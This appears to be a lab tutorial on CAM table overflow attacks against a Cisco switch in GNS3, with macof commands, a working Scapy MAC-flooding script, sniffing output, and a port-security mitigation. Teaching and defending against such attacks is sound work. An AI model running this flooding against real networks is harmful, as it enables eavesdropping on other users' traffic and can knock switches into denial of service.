A network switch stores the MAC addresses of systems it sees in it’s CAM (Content Addressable Memory) table. The table lists discovered MAC addresses, and the network ports they are associated with. This table can be seen on a Cisco switch using the show mac-address-table command.
1 2 3 4 5 6 | R1#show mac-address-table Destination Address Address Type VLAN Destination Port ------------------- ------------ ---- -------------------- cc01.5fae.0000 Self 1 Vlan1 0050.7966.6800 Dynamic 1 FastEthernet1/3 0050.7966.6801 Dynamic 1 FastEthernet1/2 |
If an adversary is able to flood the MAC address table with bogus addresses, the switch will revert its behavior to that of a hub, i.e any new connections will be forwarded out of all ports.
For this example, I’m using a C3600 router image, with a NM-16ESW switch module running on GNS3. The adversary’s system is located in Cloud1, which is a bridged interface to a Kali Linux system. Under normal operation, communications between PC1 and PC2 will not be visible to the adversary.

CAM Table Overflows with Dsniff
On Kali Linux, run the macof application which is part of the dsniff package in Kali can be used to generate a large number of spoofed MAC addresses.
1 2 3 4 5 6 7 8 9 10 11 12 | sudo macof -i eth1 3c:98:5b:6f:2a:1e 6e:47:89:6b:74:99 0.0.0.0.43260 > 0.0.0.0.37565: S 1180518068:1180518068(0) win 512 c0:5e:d1:1d:63:e4 5b:e9:85:14:a0:11 0.0.0.0.48552 > 0.0.0.0.57148: S 231829208:231829208(0) win 512 9e:1a:f7:57:4f:ea 67:e0:ab:53:58:fe 0.0.0.0.18674 > 0.0.0.0.55986: S 316105485:316105485(0) win 512 61:8f:ea:3:7c:fd e4:ee:1f:35:44:46 0.0.0.0.38772 > 0.0.0.0.16366: S 1504345617:1504345617(0) win 512 4e:1e:b4:52:4e:54 1a:dd:ce:2b:e3:6e 0.0.0.0.50482 > 0.0.0.0.9111: S 1516190475:1516190475(0) win 512 2a:2c:15:74:ff:87 52:87:d9:24:53:54 0.0.0.0.33301 > 0.0.0.0.20299: S 1307360158:1307360158(0) win 512 7b:25:aa:2f:d6:9c 10:91:67:64:29:79 0.0.0.0.48679 > 0.0.0.0.31374: S 1409153113:1409153113(0) win 512 c:ab:8:74:59:3d 9f:af:92:3a:fd:a7 0.0.0.0.24107 > 0.0.0.0.61806: S 1246472555:1246472555(0) win 512 82:57:c8:5b:f7:13 68:96:2d:65:76:df 0.0.0.0.3662 > 0.0.0.0.27231: S 1427536932:1427536932(0) win 512 a6:aa:b3:37:5f:a6 f2:7:be:2c:d1:57 0.0.0.0.25658 > 0.0.0.0.23985: S 629435605:629435605(0) win 512 87:dd:d:16:6e:31 9d:3f:4d:2e:c6:dd 0.0.0.0.11751 > 0.0.0.0.46999: S 707453291:707453291(0) win 512 |
On the switch, you should then see the number of addresses filling up:
1 2 3 4 5 6 7 8 9 10 11 | R1#show mac-address-table count NM Slot: 1 -------------- Dynamic Address Count: 8188 Secure Address (User-defined) Count: 0 Static Address (User-defined) Count: 0 System Self Address Count: 1 Total MAC addresses: 8189 Maximum MAC addresses: 8192 |
When PC2 goes to ping PC1, the traffic will be broadcast out of all switch ports.
1 2 3 4 5 6 7 8 | PC2> ping 172.16.1.4 -c 20000 84 bytes from 172.16.1.4 icmp_seq=1 ttl=64 time=0.600 ms 84 bytes from 172.16.1.4 icmp_seq=2 ttl=64 time=0.557 ms 84 bytes from 172.16.1.4 icmp_seq=3 ttl=64 time=0.398 ms 84 bytes from 172.16.1.4 icmp_seq=4 ttl=64 time=0.592 ms 84 bytes from 172.16.1.4 icmp_seq=5 ttl=64 time=0.458 ms 84 bytes from 172.16.1.4 icmp_seq=6 ttl=64 time=0.493 ms |
As such the Kali host can now intercept this traffic.
1 2 3 4 5 6 7 8 | ┌──(kali㉿kali)-[~] └─$ sudo tcpdump -nn -i eth1 icmp tcpdump: verbose output suppressed, use -v[v]... for full protocol decode listening on eth1, link-type EN10MB (Ethernet), snapshot length 262144 bytes 15:05:49.767317 IP 172.16.1.3 > 172.16.1.4: ICMP echo request, id 48500, seq 1, length 64 15:05:49.767514 IP 172.16.1.4 > 172.16.1.3: ICMP echo reply, id 48500, seq 1, length 64 15:05:50.768464 IP 172.16.1.3 > 172.16.1.4: ICMP echo request, id 48756, seq 2, length 64 15:05:50.768689 IP 172.16.1.4 > 172.16.1.3: ICMP echo reply, id 48756, seq 2, length 64 |
In order to continue intercepting the traffic, the adversary would need to keep flooding the switch as old addresses will be timed out every 5 minutes. The default MAC aging time can be seen using the show mac-address-table aging-time command.
1 2 | R1#show mac-address-table aging-time Mac address aging time 300 |
CAM Table Overflows with Python
The attack can also be carried out using a simple Python script:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | from scapy. all import * import random import time def generate_flood_packets(interface, duration): start_time = time.time() while time.time() - start_time < duration: spoofed_mac = RandMAC() print (spoofed_mac) pkt = Ether(src = spoofed_mac, dst = "ff:ff:ff:ff:ff:ff" ) sendp(pkt, iface = interface, verbose = False ) def main(): interface = "eth1" duration = 500 print (f "Starting MAC address flooding on {interface} for {duration} seconds. Press Ctrl+C to stop." ) try : generate_flood_packets(interface, duration) except KeyboardInterrupt: print ( "Flooding stopped by user." ) if __name__ = = "__main__" : main() |
Running the code will just print the spoofed source MAC addresses.
1 2 3 4 5 6 7 8 | sudo python3 mac_flood.py Starting MAC address flooding on eth1 for 500 seconds. Press Ctrl+C to stop. 37:04:c0:b1:c5:c6 dc:0d:7e:62:71:95 84:ed:bd:a9:77:ed 7b:bf:a5:eb:95:ed 22:f7:9d:27:97:98 .... |
Port Security
One way to address this problem is to implement port-security. Port-security can be configured to automatically shutdown a port if a set number of MAC addresses is exceeded on it. Port-security can be implemented on a per port basis using the following configuration statements:
1 2 3 4 5 | Switch(config)# interface gig0/2 Switch(config-if)# switchport port-security Switch(config-if)# switchport port-security maximum 5 Switch(config-if)# switchport port-security violation shutdown Switch(config-if)#end |
In Conclusion
It should be noted that some devices may have a CAM table so large it’s unlikely to be filled up before old addresses expire. In addition, performing this attack will introduce additional load on the switch that may result in a denial of service condition.